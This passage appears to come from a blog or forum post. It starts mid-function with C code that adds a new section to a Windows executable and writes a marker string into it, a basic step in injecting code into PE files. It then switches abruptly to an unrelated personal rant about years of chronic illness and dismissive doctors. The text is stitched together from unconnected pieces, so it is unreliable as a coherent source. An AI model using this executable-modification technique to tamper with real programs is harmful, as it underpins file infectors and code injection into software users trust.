PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew); //since we added a new section,it must be the last section added,cause of the code inside //AddSection function,thus we must get to the last section to insert our secret data :) PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt); PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1); SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN); char *str = "ATHENIAN WAS HERE"; WriteFile(file, str, strlen(str), &dw, 0); CloseHandle(file); return TRUE; } void main() { if (AddSection("C:\\Users\\M\\Desktop\\Athena.exe", ".ATH", 400)){ printf("Section added!\n"); //Lets insert data into the last section if (AddCode("C:\\Users\\M\\Desktop\\Athena.exe")){ printf("Code written!\n"); } else printf("Error writting code!\n"); } else printf("Error adding section!\n"); }
To verify if the section is added,and the string inside of it,i recomand using PE Explorer!
Here are some screenshots:
I've been battling it for 7 years and believe me it is a bastard. Doctors can't fix it because they are
all completely useless and don't really know anything, so much for modern science, we are still in the dark ages.
First thing they ask me everytime is "Are you an alcoholic?", which is really annoying since I don't drink alcohol
and they don't believe me!
The pain is debilitating and most of the time I don't even feel like coding, which blows because I want
to be doing what I love. I work a hard job pretty much 7 days a week and that doesn't help at all, I need to code for a living,
but I'm too tired after I make my dinner to even think straight. Sorry for the rant, but I had to get this off my chest since
I don't talk to anyone about it and its freaking depressing.